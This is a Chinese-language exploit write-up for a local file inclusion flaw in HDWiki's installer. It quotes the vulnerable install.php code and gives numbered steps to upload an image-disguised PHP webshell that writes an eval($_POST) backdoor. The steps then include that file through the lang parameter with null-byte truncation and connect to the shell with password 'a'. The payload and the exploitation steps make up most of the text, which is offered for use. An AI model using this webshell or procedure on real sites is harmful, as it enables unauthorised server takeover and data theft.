漏洞文件:installinstall.php

关键代码:

<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(IN_HDWIKI, TRUE);
define(HDWIKI_ROOT, ../);

$lang_name=$_COOKIE[lang_name];/*lang_name没有经过任何过滤,直接从Cookies里存入lang_name*/
if(isset($_REQUEST[lang])){  /*

检测该变量是否设置,否则进入程序体

*/
$lang_name = $_REQUEST[lang];   /*Get方式获取Lang值并没有过滤直接放进lang_name.上面的Cookies取值部分忽略他吧.*/
setcookie(lang_name,$lang_name);
}
if(!$lang_name){ /*不为空就绕过了,否则lang_name被初始化*/
$lang_name=zh;
}

require HDWIKI_ROOT."/lang/$lang_name/install.php";  /*简单的绕过,OK~完整的包含了.%00截断掉后面,要不会出错.*/
require HDWIKI_ROOT./version.php;
require HDWIKI_ROOT./model/base.class.php;

分析:

从源码上看确实存在问题,我们只要上传一张图片木马就可以正常包含了.但问题出来了,HDWiKi在上传的时候会对图片进行处理,直接上传图片格式的PHP木马是不行的,Copy绑捆一张图片和木马也行不通,在我调试的时候发现,上传上去的图片木马里的内容全部都被处理掉了.根本无法包含.但是在图片处理这部分,程序首先判断文件头是否为图片格式,大概确定后,程序并不会傻的直接传到服务器上,而是对图片进行下步处理.这就是为什么图片木马传上去后,用记事本打开后并没发现你的PHP代码.但是他们的上传模块出了一个严重的缺陷,程序在处理图片的时候,并且在远程服务器上存放这张图片的原始文件.并且里面的PHP代码没有被他们所处理.这样只要包含这个原始文件,就可以顺利的拿到Shell.

利用过程:

1.在HDWiKi用户的站注册一个用户.

2.在个人管理里面上传一张图片木马.内容如下:

---------------------------------------------------------------------------

gif89a

<?
$fp = @fopen("HYrz.php", a);
@fwrite($fp, <.?php." ".eval($_POST[a])." ?"."> ");
@fclose($fp);
?>

-----------------------------------------------------------------------------------------

3.右键获取上传图像地址.如:?0.8622666412804486 我们只要就行了.

虽然获取到了地址,但文件并不存在.我们把2.jpg修为为2_src.jpg.如:


 


4.访问:?lang=../uploads/userface/2/2_src.jpg%00 /*注意:这里和上面的2是要根据实际情况而定.如果是,那就访问:?lang=../uploads/userface/5/5_src.jpg%00  */

5.一句话连接: 密码:a

测试环境:

Web Server:Winxp+Apache 2.2.15

allow_url_fopen On On
allow_url_include Off Off
magic_quotes_gpc Off Off

From:  HYrz